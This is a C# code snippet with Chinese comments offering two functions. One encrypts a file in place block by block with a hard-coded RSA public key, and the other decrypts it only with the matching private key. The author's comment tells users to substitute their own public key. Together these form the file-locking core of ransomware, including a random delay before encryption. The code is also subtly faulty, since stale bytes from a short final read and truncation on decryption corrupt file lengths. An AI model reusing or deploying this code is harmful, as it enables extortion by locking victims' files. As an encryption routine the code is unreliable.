//加密代码，注意会覆盖原文件，里面有我的公钥，你要用时记得覆盖我的公钥
 private bool  encryptFile(string filename)
    {
      FileStream f;
      try
      {
        f = new FileStream(filename, FileMode.Open, FileAccess.ReadWrite, FileShare.Read);
      }
      catch
      {
        return false;
      }
      Random r = new Random();
      Thread.Sleep(10*r.Next(3,8));
      RSACryptoServiceProvider rsa = new RSACryptoServiceProvider(1024);
      rsa.FromXmlString("w7nNT8U7kwTw8UqLk0lROxmfTRZnQrMH1QrNyUGtoeAJ3w+iH08j+h83cPWxwPoxpXm1cgCLFWtCFWY1rkQDCCLxJhUIwYTbGKTg9h0uUVfNxGiNji7dcHShd01UYpZjHCwOar1wjJD4vJqVJCk++59UUMhE9IUATuSUVpRy1bE=AQAB");
      //导入密钥
      byte[] data = new byte[16];
      ArrayList con = new ArrayList();
      while(f.Read(data, 0, 16)!=0)
      {

        byte[] result = rsa.Encrypt(data,false);
        //Thread.Sleep(10 * r.Next(2, 7));
        con.Add(result);
      }
      //加密
      f.Seek(0, SeekOrigin.Begin);
      foreach(byte[] d in con)
      {
        f.Write(d, 0, d.Length);
      }

      f.Close();
      return true;
}

//解密代码，覆盖原文件，返回值表示是否解密成功
 private bool decryptFile(string filename,string key)
    {
      FileStream f;
      try
      {
        f = new FileStream(filename, FileMode.Open, FileAccess.ReadWrite, FileShare.Read);
      }
      catch
      {
        return false;
      }
      RSACryptoServiceProvider rsa = new RSACryptoServiceProvider(1024);
      try
      {
        rsa.FromXmlString(key);
      }
      catch
      {
        return false;
      }

      byte[] data = new byte[128];
      ArrayList con = new ArrayList();
      while (f.Read(data, 0, 128) != 0)
      {
        byte[] result;
        try
        {
          result = rsa.Decrypt(data, false);
        }
        catch
        {
          return false;
        }
        con.Add(result);
      }
      //解密
      f.SetLength(con.Count * 16);
      f.Seek(0, SeekOrigin.Begin);
      foreach (byte[] d in con)
      {
        f.Write(d, 0, d.Length);
      }
      f.Close();
      return true;
}